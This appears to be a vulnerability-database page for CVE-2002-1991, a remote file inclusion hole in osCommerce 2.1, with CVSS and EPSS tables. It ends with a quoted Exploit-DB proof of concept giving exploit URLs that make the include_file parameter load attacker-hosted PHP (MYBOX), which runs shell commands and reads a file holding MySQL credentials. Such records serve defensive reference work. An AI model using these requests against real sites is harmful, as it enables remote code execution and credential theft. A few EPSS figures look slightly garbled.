CVE-2002-1991

CVE Descriptions

PHP file inclusion vulnerability in osCommerce 2.1 execute arbitrary commands via the include_file parameter to include_once.php.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-94	Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.02%	–	–
2022-02-13	–	–	1.02%	–	–
2022-03-20	–	–	1.02%	–	–
2022-04-03	–	–	1.02%	–	–
2022-05-29	–	–	1.02%	–	–
2022-08-14	–	–	1.02%	–	–
2022-11-13	–	–	1.02%	–	–
2022-11-20	–	–	1.02%	–	–
2022-11-27	–	–	1.02%	–	–
2023-02-26	–	–	1.02%	–	–
2023-03-12	–	–	–	0.6%	–
2023-07-16	–	–	–	0.6%	–
2023-11-12	–	–	–	0.44%	–
2024-02-11	–	–	–	0.44%	–
2024-04-14	–	–	–	0.44%	–
2024-06-02	–	–	–	0.44%	–
2024-06-02	–	–	–	0.44%	–
2024-11-17	–	–	–	0.44%	–
2024-12-22	–	–	–	0.31%	–
2025-01-19	–	–	–	0.31%	–
2025-03-18	–	–	–	–	2.13%
2025-03-30	–	–	–	–	2.47%
2025-03-30	–	–	–	–	2.47,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	19%
2022-02-13	2%
2022-03-20	21%
2022-04-03	37%
2022-05-29	38%
2022-08-14	39%
2022-11-13	4%
2022-11-20	39%
2022-11-27	4%
2023-02-26	41%
2023-03-12	75%
2023-07-16	76%
2023-11-12	72%
2024-02-11	74%
2024-04-14	75%
2024-06-02	75%
2024-06-02	75%
2024-11-17	76%
2024-12-22	7%
2025-01-19	7%
2025-03-18	83%
2025-03-30	84%
2025-03-30	84%

Exploit information

Exploit Database EDB-ID : 21563

Publication date : 2002-06-15 22h00 +00:00
Author : Tim Vandermeerch
EDB Verified : Yes

source: https://www.securityfocus.com/bid/5037/info osCommerce is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. -------- Example 1 -------- http://SERVER/catalog/inludes/include_once.php? include_file=http://MYBOX/a.php --- a.php --- <? passthru("/bin/ls")?> ------------- Output: dir listing of the current dierctory --------------------------- -------- Example 2 -------- http://SERVER/catalog/inludes/include_once.php? include_file=http://MYBOX/b.php --- b.php --- <? passthru("/bin/cat application_top.php")?> ------------- Output: outputs the application_top.php file wich includes MySQL username, password, etc.